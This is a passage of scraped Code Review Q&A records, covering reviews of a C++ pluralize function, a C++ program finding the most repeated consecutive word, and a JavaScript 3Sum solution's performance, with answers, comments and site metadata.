&quot;oxen&quot;s); EXPECT_EQ(pluralize(1.1, &quot;story&quot;s, &quot;ies&quot;s, &quot;y&quot;s), &quot;stories&quot;s); EXPECT_EQ(pluralize(-1.0, &quot;life&quot;s, &quot;ves&quot;s, &quot;fe&quot;s), &quot;lives&quot;s); EXPECT_EQ(pluralize(-0.9, &quot;mouse&quot;s, &quot;ice&quot;s, &quot;ouse&quot;s), &quot;mice&quot;s); EXPECT_EQ(pluralize(-2, &quot;sheep&quot;s, &quot;&quot;s), &quot;sheep&quot;s); EXPECT_EQ(pluralize(-2.5, &quot;he&quot;s, &quot;they&quot;s, &quot;he&quot;s), &quot;they&quot;s); } </code></pre> <p>Any suggestions to improve this code (naming, comments, efficiency, style, etc.)?</p>
[]
[ { "body": "<p>To be honest, I don't understand why we need the root replacement stuff at all. Couldn't we just pass the full singular and plural words to the function? ... Which would simply become:</p>\n<pre><code>template&lt;class N&gt;\nstd::string pluralize(N n, std::string const&amp; singular, std::string const&amp; plural) {\n return n == N{ 1 } ? singular : plural;\n}\n</code></pre>\n<p>We could perhaps provide an overloaded version that takes only a single argument, and adds &quot;s&quot; to save typing for simple plurals.</p>\n<hr />\n<p>I don't think the &quot;alias&quot; variables really help in this case. It's as easy to type <code>singular.size()</code> as it is to type <code>singular_size</code>. It's also clearer, since we don't have to then check a variable declaration to see that <code>singular_size</code> is really just <code>singular.size()</code>.</p>\n<hr />\n<pre><code>if (replaced_root_size == 0 || replaced_root_size &gt; singular_size) {\n plural_root = singular;\n</code></pre>\n<p>We've done all the work we need to for this branch of execution, so we should just return from the function here. Then we don't need the <code>plural_root</code> variable yet, and we don't need to indent code into the <code>else</code> clause afterwards.</p>\n<hr />\n<pre><code> // Cannot be less than 0 because singular.size() &gt;= replaced_root.size()\n // Cannot be greater than singular.size() -- i.e. past singular.end() -- because replaced_root.size() &gt;= 0\n</code></pre>\n<p>We should make these <code>assert</code>ions, not comments.</p>\n<hr />\n<p>It might be clearer to use <code>singular.substr(...)</code> rather than constructing a new string out of iterators.</p>\n<hr />\n<pre><code>// The last replaced_root.size() characters of singular must match replaced_root\n// If there is no match just use the singular form as the plural root\nif (std::string{iter, singular.end()} == replaced_root)\n</code></pre>\n<p>I'm not fond of silently failing here. If the user of the function is calling it incorrectly, they would probably want to know about that (perhaps we should throw an error?)</p>\n<p>Note that <code>std::string</code> has an <code>ends_with()</code> function in C++20.</p>\n<hr />\n<p>As mentioned above, I'd just supply the full plural word.</p>\n<p>However, here's what I'd probably do with the code if the method were kept the same.</p>\n<pre><code>template&lt;typename number&gt;\nstd::string pluralize(number n, const std::string&amp; singular, const std::string&amp; plural_suffix = &quot;s&quot;, const std::string&amp; replaced_root = &quot;&quot;) {\n\n if (n == number{ 1 })\n return singular;\n\n if (replaced_root.empty())\n return singular + plural_suffix;\n\n if (!singular.ends_with(replaced_root)) // C++ 20\n throw std::runtime_error(&quot;Invalid root replacement.&quot;);\n\n auto const plural_root = singular.substr(0, singular.size() - replaced_root.size());\n\n return plural_root + plural_suffix;\n}\n</code></pre>\n<p>(not actually compiled / tested).</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T12:14:22.663", "Id": "508728", "Score": "0", "body": "I thought about just passing the singular and plural forms as arguments, but that doesn't shorten the code for the function calls. An overload to simply append \"s\" helps, but there are enough cases where the rule is to append \"es\" or replace a final \"y\" with \"ies\" that you'd end up using the full form quite often. Otherwise, good points. Thanks." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T19:40:10.880", "Id": "257541", "ParentId": "257537", "Score": "2" } }, { "body": "<p>This is not a replacement for @user673679’s answer; I think that answer stands on its own and is pretty much complete. I really just wanted to add one note not about the implementation, but about the idea: a design review rather than a code review.</p>\n<p>But before that….</p>\n<h1>A short, focused code review digression</h1>\n<p>I have to say I really don’t see the point in templating the <em>number</em> and not the strings. There doesn’t seem to be any sensible reason for multiple overloads of this function for different number types. On the contrary, it seems rather wasteful to have a half-dozen or more instantiations for <code>int</code>, <code>unsigned int</code>, <code>short</code>, <code>long</code>, <code>unsigned long long</code>, and so on. I see you using it with <code>int</code>s and <code>double</code>s… but (and this will come up in the design review section references) this kind of transformation almost never makes sense for fractional numbers, or for negative numbers for that matter. I’d just take <code>unsigned long long</code> and be done with it.</p>\n<p>If I <em>were</em> to template anything, it would be the strings. Maybe something like:</p>\n<pre><code>template &lt;typename CharT, typename Traits&gt;\n[[nodiscard]] constexpr auto pluralize(\n unsigned long long n,\n std::basic_string_view&lt;CharT, Traits&gt; singular,\n std::basic_string_view&lt;CharT, Traits&gt; plural)\n -&gt; std::basic_string_view&lt;CharT, Traits&gt;\n{\n return (n == 1) ? singular : plural;\n}\n</code></pre>\n<p>That way you could use wide-character strings or Unicode (<code>char32_t</code>) strings if you please. (I’ll leave it as an exercise for the reader to make that work nicely with C-strings.)</p>\n<p>Note also the use of string views, to avoid unnecessary construction and copying of strings. All of your test cases are wasteful. Every one constructs <em><strong>FIVE</strong></em> strings: three for the function parameters, one for <code>plural_root</code>, and one for the return value. Even @user673679’s improved versions construct 3 or 4. But if you follow their advice and refactor the function interface, and switch to string views, you can get it down to <em><strong>ZERO</strong></em> constructed strings in many cases.</p>\n<p>Honestly, though, I wouldn’t template this function at all. I’d use <code>unsigned long long</code> and <code>std::string_view</code>, and simply state that all inputs and outputs are UTF-8 encoded (maybe <em>maybe</em> I might consider <code>u8string_view</code>, possibly only as an overload), and that’s that.</p>\n<h1>Design review</h1>\n<p>You have identified a classic problem in user-interface programming. Unfortunately, you have not thought the problem all the way through.</p>\n<p>Your simple example is… okay-ish:</p>\n<pre><code>std::cout &lt;&lt; &quot;Found &quot; &lt;&lt; count &lt;&lt; &quot; &quot; &lt;&lt; (count == 1 ? &quot;file&quot; : &quot;files&quot;);\n</code></pre>\n<p>But what if the message you need to print is even <em>slightly</em> more complex? For example, suppose you wanted to say: “There are <em>N</em> files that match the search criteria.” (Hypothetically. I know you could simplify <em>that</em> message, but let’s imagine it represents something you can’t really simplify without introducing vagueness or ambiguity.) What would the code for that look like?</p>\n<pre><code>std::cout &lt;&lt; &quot;There &quot; &lt;&lt; pluralize(count, &quot;is&quot;, &quot;are&quot;) &lt;&lt; ' ' &lt;&lt; count &lt;&lt; ' ' &lt;&lt; pluralize(count, &quot;file&quot;, &quot;files&quot;) &lt;&lt; &quot; that &quot; &lt;&lt; pluralize(count, &quot;matches&quot;, &quot;match&quot;) &lt;&lt; &quot; the search criteria.&quot;;\n</code></pre>\n<p>Yikes. And it only goes downhill from there as the messages you display get more complex. And we haven’t even <em>begun</em> to talk about internationalization yet (but we’ll get there!).</p>\n<p>There’s another issue this causes. Suppose I’m a user of your program. While using it, I get a message—an error message or an unexpected message—and I want to know what the hell is going on. So I do the logical thing: I search your program’s sources for the message “There are <em>N</em> files that match the search criteria.” or some variant of it (like just “match the search criteria”). And what do I find? Nothing. Because that particular string isn’t in the source code, it’s constructed on the fly instead. That’s be no help for me whatsoever tracking down the problem.</p>\n<p>Assembling strings piecemeal in the code like that is a sucker’s game. Not only is it unnecessarily complex (with a high chance of screwing up, and printing laughably terrible messages to the user), it’s wildly inefficient (not that efficiency is a critical issue, given that you’re usually displaying these messages to the user somehow, and the time spent producing the message will be <em>DWARFED</em> by the time the user spends reading it). Plus it has other shortcomings, that I’ll get to.</p>\n<p>Once you have the function <code>pluralize()</code>, the logical way to use it is:</p>\n<pre><code>std::cout &lt;&lt; std::format(\n pluralize(\n count,\n &quot;There is one file that matches the search criteria.&quot;,\n &quot;There are {} files that match the search criteria.&quot;),\n count);\n</code></pre>\n<p>Even with your simple example, it looks better:</p>\n<pre><code>// std::cout &lt;&lt; &quot;Found &quot; &lt;&lt; count &lt;&lt; &quot; &quot; &lt;&lt; (count == 1 ? &quot;file&quot; : &quot;files&quot;);\n// std::cout &lt;&lt; &quot;Found &quot; &lt;&lt; count &lt;&lt; &quot; &quot; &lt;&lt; pluralize(&quot;file&quot;);\n std::cout &lt;&lt; std::format(pluralize(count, &quot;Found {} file&quot;, &quot;Found {} files&quot;), count);\n\n// std::print(pluralize(count, &quot;Found {} file&quot;, &quot;Found {} files&quot;), count);\n// ^-- potential future C++ (P2093)\n</code></pre>\n<p>It’s also less complex, therefore less error-prone, and easier to optimize (in fact, with <code>std::format</code> it could <em>conceivably</em> be done at compile time). And it’s easier to search for the strings.</p>\n<p>But the most important extra benefit is that now you have opened the door to internationalizing your program.</p>\n<p>When you construct user interface strings in code, you make it functionally impossible to internationalize your program. You might say, “meh, I don’t care about that”… but, really? I mean, you care enough that you won’t tolerate “file(s)”. Is it that much further a leap to caring enough that people can have your program in their own language? Especially considering that it’s effectively zero extra work on your part.</p>\n<p>Let’s imagine that you’ve written <code>pluralize()</code> as @user673679 and I suggest, and you use it in the way I suggest. So everywhere in your code where you display a message to the user that varies depending on some number, you have <code>pluralize(n, &quot;singular string&quot;, &quot;plural string&quot;)</code>. Let’s further imagine that your program becomes very useful, and very widely used. Naturally people will fork it and tinker with it, and probably offer you improvements. So one day, someone who speaks a different language sends you back a modified version of <code>pluralize()</code> that looks like this:</p>\n<pre><code>auto pluralize(unsigned long long n, std::string_view singular, std::string_view plural)\n{\n if (auto s = string_database.lookup(singular, n); s)\n return *s;\n else if (n == 1)\n return singular;\n else\n return plural;\n}\n</code></pre>\n<p><code>string_database</code> is some object that holds a database of strings loaded from some file. The lookup function uses the singular string as the key, does a rapid hash or binary search, and if it finds an entry, uses some heuristics with <code>n</code> to select the proper plural. (Note that the added costs won’t really matter, because, first, you’re calling it <em>far</em> less often if you’re only calling it once per message rather than once for every word in a message that needs pluralizing, and second, you’re only using it for messages to be displayed to the user… which means the time spent searching for it will be nothing compared to the time the user spends reading it.)</p>\n<p>Such a simple little fix. But oh, what magic results.</p>\n<p>Because by using a database of French translations, now when a French user uses your program, they get:</p>\n<ul>\n<li>« 1 fichier trouvé » (instead of “1 file found”)</li>\n<li>« 3 fichiers trouvé » (instead of “3 files found”)</li>\n<li>« 0 fichier trouvé » (instead of “0 files found”)</li>\n</ul>\n<p>A Japanese user, with a Japanese translation database, gets:</p>\n<ul>\n<li>「1個のファイルが見つかりました」 (instead of “1 file found”)</li>\n<li>「3個のファイルが見つかりました」 (instead of “3 files found”)</li>\n<li>「0個のファイルが見つかりました」 (instead of “0 files found”)</li>\n</ul>\n<p>I didn’t pick those examples arbitrarily. Look closer. In the Japanese, there is no difference between singular and plural. In the French, « <em>N</em> fichier trouvé » is used for 1 file <em><strong>and 0 files</strong></em>. French uses the singular for any number less than 2 (so you’d say « 1,5 fichier trouvé » for “1.5 files found”, if there were such a thing as a half file). Other languages have still other quirks, like Polish:</p>\n<ul>\n<li>„Znaleziono 1 plik” (instead of “1 file found”)</li>\n<li>„Znaleziono 3 pliki” (instead of “3 files found”)</li>\n<li>„Znaleziono 0 plików” (instead of “0 files found”)</li>\n</ul>\n<p>Note that the text is different for 1, 3, <em>and</em> 0. (Polish is weird.) All that complexity could be handled within the string database, so you get it for free.</p>\n<p>You see? The magic begins when you stop trying to programmatically construct user-interface strings, and instead treat them as opaque tokens, with, at most, some replacement fields that you can pop non-translatable data into. The moment you start doing that, you open the door to internationalization. Of course, that’s only the tiniest tip of a very, very large iceberg. Internationalization is not a small topic. For a starting reference, you could read <a href=\"https://www.gnu.org/software/gettext/manual/gettext.html#Plural-forms\" rel=\"noreferrer\">the GNU gettext manual section about plurals</a>. GNU gettext is a fantastic place to study the topic of formatting and internationalization of user-interface strings, but, in my humble opinion, it is possible to <em>massively</em> improve on it (especially in C++).</p>\n<p>So I recommend you stop trying to micro-manage user-interface strings, stop trying to diddle with single singular/plural <em>words</em> (never mind <em>parts</em> of words), and instead treat entire messages as single units. It’s simpler, more efficient, and, for free, you get the possibility of future internationalization with almost no effort.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T00:41:25.540", "Id": "508799", "Score": "0", "body": "Thanks for the answer, this is a lot of information. Regarding the templates, in my usage I've found a need to occasionally support non-integer amounts (e.g. \"3.3 volts\"). I did think about templating the strings but the string literal for `plural_suffix` makes that difficult, so I planned to work on adding that later." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T00:44:52.647", "Id": "508800", "Score": "0", "body": "Your point about more complicated messages which require multiple calls to `pluralize` is a good one. I haven't really run into a situation where I needed it (I do deliberately phrase the message to avoid that situation), but I agree it's an issue. I wasn't aware of `std::format`, and I'm not sure which one it would be when [searching for it](https://en.cppreference.com/mwiki/index.php?title=Special%3ASearch&search=format). Is it new to the standard? I forgot to mention in my question that I'm targeting C++14, though I'm interested in possibilities from the latest standard." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T07:50:34.137", "Id": "508813", "Score": "0", "body": "Great stuff, indi - you've made the points I was going to make (right down to using Polish as example) but explained it much better than I would. Bravo!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T22:18:13.320", "Id": "508892", "Score": "0", "body": "The GNU gettext documentation takes a dim view of using fractional (or negative) numbers in grammatical messages, and I agree; those are used for dimensioned quantities… like you used it for: volts, the dimension of electric potential. For dimensioned quantities, you don’t need to change the text; just use the dimension’s units, like “1.0 volts” or “1.0 V”. “One-point-zero volts” is perfectly legitimate English (actually “one-point-zero volt” sounds weird). (And the gettext manual promises that the same logic applies to *all* languages.)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T22:18:56.677", "Id": "508893", "Score": "0", "body": "**BUT**, if you really wanna do it, then I would recommend having separate overloads for `long double` and `long long int` (along with `long long unsigned int`, as I proposed). (Or I guess you could also use `std::(u)intmax_t` instead of `long long (unsigned) int`. ) Reason being: that `unsigned long long int` version is still precious on its own, and should be isolated as a special case due to it being for ordinal numbers. If you want to grammaticize *non*-ordinal numbers too… well, okay, but you should still keep that ordinal case precious and distinct." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T22:19:18.970", "Id": "508894", "Score": "1", "body": "[`std::format` is C++20](https://en.cppreference.com/w/cpp/utility/format), and not yet widely supported. But you can use [the `{fmt}` library that it’s based on](https://fmt.dev/latest/index.html) with *all* versions of C++, including C++14 (though of course, with older versions of the language, you lose some features). `{fmt}` also already has `fmt::print()` (which is still only proposed as of C++23), and it’s significantly more efficient (and *much* superior in other ways) to both `std::cout` and `std::printf()`." } ], "meta_data": { "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T22:35:18.353", "Id": "257595", "ParentId": "257537", "Score": "4" } } ]
{ "AcceptedAnswerId": "257541", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T17:40:18.847", "Id": "257537", "Score": "3", "Tags": [ "c++", "strings" ], "Title": "Pluralize a string" }
257537
<ul> <li>Write a program to read strings from standard input looking for duplicated words.</li> <li>The program should find places in the input where one word is followed immediately by itself.</li> <li>Keep track of the largest number of times a single repetition occurs and which word is repeated.</li> <li>Print the maximum number of duplicates, or else print a message saying that no word was repeated.</li> </ul> <hr /> <p>For example, if the input is</p> <ul> <li>how now now now brown cow cow</li> </ul> <p>the output should indicate that the word now occurred three times.</p> <hr /> <pre class="lang-cpp prettyprint-override"><code>#include &lt;iostream&gt; #include &lt;string&gt; int main() { using std::cin; using std::cout; using std::endl; using std::string; // running median string most_duplicated_str; int most_duplicated_count = 0; // loop variables string prev_str; string new_str; int new_duplicate_count = 1; while(cin &gt;&gt; new_str) { if (new_str != prev_str) { // check and update median if (new_duplicate_count &gt; most_duplicated_count) { most_duplicated_str = prev_str; most_duplicated_count = new_duplicate_count; } // update prev_str new_duplicate_count = 1; prev_str = new_str; continue; } ++new_duplicate_count; prev_str = new_str; } // check and update median for last word if (new_duplicate_count &gt; most_duplicated_count) { most_duplicated_str = prev_str; most_duplicated_count = new_duplicate_count; } // print result if(most_duplicated_count == 0) cout &lt;&lt; &quot;# No Duplicated Words #\n&quot;; else cout &lt;&lt; &quot;Most duplicated word: &quot; &lt;&lt; most_duplicated_str &lt;&lt; &quot;, &quot; &lt;&lt; most_duplicated_count &lt;&lt; &quot; times.\n&quot;; } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T22:13:25.497", "Id": "508710", "Score": "1", "body": "Sure you need to keep track of all words and their counts until there are only \"M\" words left (where M < the distinct words) at that point you can throw away the counts for the words that couldn't possibly be in the total. Of course it's just easier to count them all, and then pick the max;" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T18:20:23.500", "Id": "508767", "Score": "4", "body": "It's not clear to me from those misty 'rules' if in `blue blue red red red blue green blue` the `blue` should be output as the word with most occurences (4) or the `red` as the word with most occurences _in a row_ (3)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T02:50:59.563", "Id": "508804", "Score": "1", "body": "There is [median](https://en.m.wikipedia.org/wiki/Median), and there is [mode](https://en.m.wikipedia.org/wiki/Mode_(statistics))." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T10:28:58.753", "Id": "508828", "Score": "0", "body": "@MrR I ALWAYS forget about short circuit stuff like this. Thanks for the tip - I'll change it to do that tonight!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T10:30:24.153", "Id": "508829", "Score": "0", "body": "@CiaPan Yeah it's kinda wack how the book asks me questions sometimes, but I just took it as the in a row thing" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T10:31:18.643", "Id": "508830", "Score": "0", "body": "@greybeard wow I really need to go back and look at my maths knowledge... Messed that up hahaha" } ]
[ { "body": "<p>Nothing awful here.</p>\n<p>If this was production code then putting things in named functions would be nice to help with self documenting code.</p>\n<hr />\n<p>Don't particularly like this.</p>\n<pre><code> using std::cin; using std::cout; using std::endl;\n using std::string;\n</code></pre>\n<p>But I am not going to complain about it very much.</p>\n<hr />\n<p>Using snake case is unusual but not unheard of in C++.</p>\n<pre><code> string most_duplicated_str;\n int most_duplicated_count = 0;\n</code></pre>\n<p>Like the long descriptive names and the grouping of you variables into logical combinations.</p>\n<hr />\n<p>I would note that:</p>\n<pre><code> cin &gt;&gt; new_str\n</code></pre>\n<p>Reads a white space separated word. For college and learning purposes this will be fine. But in real life you would have to consider punctuation and other non alphabetical content and what to do with it.</p>\n<hr />\n<p>Not a very useful comment.<br />\nI would either make it more descriptive (more words) or remove it.</p>\n<pre><code> // loop variables\n</code></pre>\n<p>and</p>\n<pre><code> // update prev_str\n</code></pre>\n<hr />\n<p>These three lines can be simplified:</p>\n<pre><code> new_duplicate_count = 1;\n prev_str = new_str;\n continue;\n</code></pre>\n<p>to:</p>\n<pre><code> new_duplicate_count = 0;\n</code></pre>\n<p>It will have the same effect and the loop will feel more logical as the same action happens every loop. But that's just my opinion on readability. If you did not change it I would not oppose it being merged into mainline.</p>\n<hr />\n<p>If any words are read: Can the value ever be zero?</p>\n<pre><code> // print result\n if(most_duplicated_count == 0)\n cout &lt;&lt; &quot;# No Duplicated Words #\\n&quot;;\n else\n</code></pre>\n<p>If you only have a duplicate count of <code>1</code> were there any duplicates?<br />\nWhat happens if there are ties in the number of duplicate counts?</p>\n<p>These are good questions to ask your customer! :-)</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T10:38:35.053", "Id": "508832", "Score": "0", "body": "Thank you so much for the awesome & detailed answer!\n\nI did want to use functions, but the book I'm going through hasn't introduced them yet, so I didn't want to skip ahead too much.\n\nI see a lot of debate around namespace techniques. Do you prefer fully qualifiying everything?\n\nRegarding cin, is there a good resource for standard input reading techniques for stuff like this?\n\nI totally missed that simplification! Is there any way I can get around doing that final check of repeated code after the while?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T18:26:09.780", "Id": "508883", "Score": "0", "body": "`Do you prefer fully qualifiying everything?` Depends on context. If I am using code from another namespace I will fully qualify it. `std::cin << \"Info\\n\";` If the namespace is too long I will add a namespace alias and use that: `namespace BSL = boost::Butcher::Streaming::Logs; BSL::log << \"Info\\n\";` If this is code for my code and I am in the source file for a specific header file that uses a namespace I will use `using namespace ThorsAnvil::DB::Access;` [See](https://github.com/Loki-Astari/ThorsDB/blob/master/src/ThorsDB/Statement.cpp)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T18:27:37.427", "Id": "508884", "Score": "0", "body": "`Regarding cin, is there a good resource for standard input reading techniques for stuff like this?` Sorry this is just tuff you learn as you go. I don't have any good references except SO and this site. Don't miss the use of `operator>>` and `std::getline()` use one or the other. Lots of SO questions on that subject." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T10:59:33.307", "Id": "508941", "Score": "0", "body": "Snake case isn't so unusual in C++: there's an entire Standard Library leading the way..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T17:28:22.750", "Id": "508967", "Score": "0", "body": "@TobySpeight Which one? Don't particularly have any objects to snake case (just the use of prefix _) but it is not my favorite (the _ is in a funny place on the keyboard for a lot of repetitive use). As long as people are consistent I am happy (consistent means we can automate things)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T17:38:33.107", "Id": "508968", "Score": "0", "body": "@TobySpeight If its only one standard library. Then could we not say that's its unusual as only one out of n (a lot) use it? :-) Yea OK its the standard library so it is being normalized that way." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T17:53:08.747", "Id": "508971", "Score": "0", "body": "Personally, snake-case is fine (for me, `_` is on the home row, and it's often useful to be able to easily select or step over \"sub-words\" in identifiers, which gets hard using case-transition as word boundary). That said, I agree that remaining consistent is more important (even if that internal consistency is inconsistent with the Standard Library - and if you use any library with a different convention, then you can't agree with them all unless you somehow manage to use single words everywhere!)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T18:13:16.027", "Id": "508976", "Score": "0", "body": "@TobySpeight No argument `snake_case` is fine (even if we disagree on if it is unusual or not). :-)" } ], "meta_data": { "CommentCount": "8", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T16:37:58.343", "Id": "257580", "ParentId": "257538", "Score": "3" } }, { "body": "<h1>Create a testable function</h1>\n<p>Instead of plonking everything in <code>main()</code>, I would prefer to see a function which can be tested with many different inputs from one program (perhaps accepting a <code>std::istream&amp;</code>, or maybe a pair of iterators to words).</p>\n<p>Yes, you could write a shell script to invoke the program with different input streams, but that gets awkward when we want to test different parts of a larger program. Let's develop the habit of coding for testability right from the start.</p>\n<p>One advantage of writing the tests as we go is that it helps us understand how the function will be called, leading us to a better interface. And we can investigate the edge cases (what if there are two words with the same repeat count? How should we deal with two different runs of the same word?).</p>\n<h1>Know your standard <code>&lt;algorithm&gt;</code>s</h1>\n<p>If we read input using a <code>std::istream_iterator&lt;std::string&gt;</code>, then we could use <code>std::adjacent_difference()</code> to compare consecutive words and maintain count, without having to hand-roll our own loops. Or we might (ab)use <code>std::adjacent_find()</code> or <code>std::unique()</code>, both of which have Ranges versions.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-26T08:04:19.137", "Id": "257715", "ParentId": "257538", "Score": "1" } } ]
{ "AcceptedAnswerId": "257580", "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T17:54:04.100", "Id": "257538", "Score": "1", "Tags": [ "c++", "beginner", "strings" ], "Title": "Read strings from a standard input, and find the most duplicated word" }
257538
<p>I was working on <a href="https://leetcode.com/problems/3sum/" rel="nofollow noreferrer">3sum problem on leetcode</a></p> <h2>Question</h2> <p>Given an array nums of n integers, are there elements a, b, c in nums such that a + b + c = 0? Find all unique triplets in the array which gives the sum of zero.</p> <p>Note:</p> <p>The solution set must not contain duplicate triplets.</p> <p>Example:</p> <p>Given array nums = [-1, 0, 1, 2, -1, -4]</p> <p>A solution set is:</p> <pre><code>[ [-1, 0, 1], [-1, -1, 2] ] </code></pre> <h2>My Solution</h2> <pre><code>var threeSum = function(nums) { let out = [] let seen = {} for(let i = 0; i &lt; nums.length; i++){ remainingArr = nums.filter((d,id) =&gt; id != i); //Calling twoSum on remaining array twoSum(remainingArr, -nums[i], out, seen) } //Return in expected format by splitting strings and forming arrays return out.map(d =&gt; d.split(',')).filter(d =&gt; d.length &gt; 0) }; var twoSum = function(nums, target, out, seen){ let myMap = {} for(let i = 0; i &lt; nums.length; i++){ if(myMap[target - nums[i]] != undefined){ //If match found convert it to string so that we can test for dupicates let val = [target - nums[i], nums[i], -target].sort((a,b) =&gt; a - b).join(','); //Test for duplicates if(!seen[val]) { out.push(val) seen[val] = true } } myMap[nums[i]] = i; } } </code></pre> <p>The above solution fails for last 2 very large test cases. For the 2sum implementation I have used the <strong>hash map</strong> solution rather than 2 pointers.</p> <p>According to solutions on leetcode I can see the best possible time complexity here is <span class="math-container">\$O(N^2)\$</span>. But isn't my solution also <span class="math-container">\$O(N^2)\$</span> (as i'm using <strong>seen</strong> map inside the inner loop).</p> <p>How can I optimize this further?</p>
[]
[ { "body": "<h2>Performance</h2>\n<p>This is a performance only review and does not address any styling or composition.</p>\n<p>Code examples are focused on performance with no attention given to readability, naming, or re-usability</p>\n<h3>Time complexity != performance</h3>\n<p>Time complexity is not a measure of performance. It is a measure of how performance changes as the input size changes.</p>\n<p>Two functions can have the same time complexity but very different performance metrics.</p>\n<hr />\n<h2>Improving performance</h2>\n<p>Looking at your code I see some code that will negatively effect performance.</p>\n<p>Your original code cleaned up a little. Semicolons, spaces and the like.</p>\n<p><strong>threeSum</strong></p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function threeSum(nums) {\nlet out = [];\nlet seen = {};\nfor (let i = 0; i &lt; nums.length; i++) {\n remainingArr = nums.filter((d, id) =&gt; id != i);\n twoSum(remainingArr, -nums[i], out, seen);\n}\nreturn out.map(d =&gt; d.split(',')).filter(d =&gt; d.length &gt; 0);\n};\n\nfunction twoSum(nums, target, out, seen) {\nlet myMap = {};\nfor (let i = 0; i &lt; nums.length; i++) {\n if (myMap[target - nums[i]] != undefined) {\n let val = [target - nums[i], nums[i], -target].sort((a,b) =&gt; a - b).join(',');\n if (!seen[val]) {\n out.push(val)\n seen[val] = true\n }\n }\n myMap[nums[i]] = i;\n}\n}</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<hr />\n<h2>Major performance hits</h2>\n<p>The biggest problem is the line ...</p>\n<pre><code> if (myMap[target - nums[i]] != undefined) {\n</code></pre>\n<p>where the most likely outcome is that <code>myMap[target - nums[i]]</code> is undefined.</p>\n<h3>Set or Map rather than Object</h3>\n<p>When JS sees a property name it needs to locate that property.</p>\n<p>First it looks at the objects own properties. If that property does not exist, it then starts a recursive search up the prototype chain.</p>\n<p>If the result is undefined it will have to have searched all the way up the prototype chain before it can return undefined. As this is the most likely outcome this line adds a lot of additional (under the hood) overhead.</p>\n<p>You can use a <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Set\">Set</a> to avoid the need to traverse the prototype chain.</p>\n<h3>Memory management</h3>\n<p>There is also an incurred memory overhead because you create and release the object myMap each time the function twoSum is called.</p>\n<p>Because javascript does not free up memory until either</p>\n<ul>\n<li>forced to due to low memory,</li>\n<li>or when the code is at idle (Presumably in the leetcode environment that is after the function <code>threeSum</code> has exited and before the result is verified)</li>\n</ul>\n<p>All the created <code>myMap</code> slowly eat up memory and will incur a GC (garbage collection) overhead. On a shared environment such as leetcodes cloud processing network memory allocated to a task can be rather small meaning forced <a href=\"https://developer.mozilla.org/en-US/docs/Glossary/Garbage_collection\" rel=\"nofollow noreferrer\">GC</a> calls are much more likely.</p>\n<p>To avoid memory management overheads reduce the amount of work by reducing the number of new objects created.</p>\n<p>In example <code>threeSum1</code> I moved <code>myMap</code> to the first function and pass it to the second. I clear the map in the second function which is less of a management hit than creating and destroying a new one.</p>\n<p><strong>threeSum1</strong></p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function threeSum1(nums]) {\nconst out = [];\nconst seen = new Set();\nconst myMap = new Set();\nfor (let i = 0; i &lt; nums.length; i++) {\n remainingArr = nums.filter((d,id) =&gt; id != i);\n twoSum1(remainingArr, -nums[i], out, seen, myMap);\n}\nreturn out.map(d =&gt; d.split(',')).filter(d =&gt; d.length &gt; 0);\n};\n\nfunction twoSum1(nums, target, out, seen, myMap) {\nconst b = -target;\nmyMap.clear();\nfor (let i = 0; i &lt; nums.length; i++) {\n const a = nums[i], idx = target - a;\n if (myMap.has(idx)) {\n let val = [idx, a, b].sort((a,b) =&gt; a - b).join(',');\n if (!seen.has(val)) {\n out.push(val);\n seen.add(val);\n }\n }\n myMap.add(a);\n}\n}</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p><strong>More info</strong></p>\n<ul>\n<li><p><a href=\"https://developer.mozilla.org/en-US/docs/Tools/Performance/Allocations\" rel=\"nofollow noreferrer\">MDN Allocations</a></p>\n</li>\n<li><p><a href=\"https://developer.mozilla.org/en-US/docs/Glossary/Garbage_collection\" rel=\"nofollow noreferrer\">MDN Garbage collection</a></p>\n</li>\n</ul>\n<hr />\n<h3>Minor 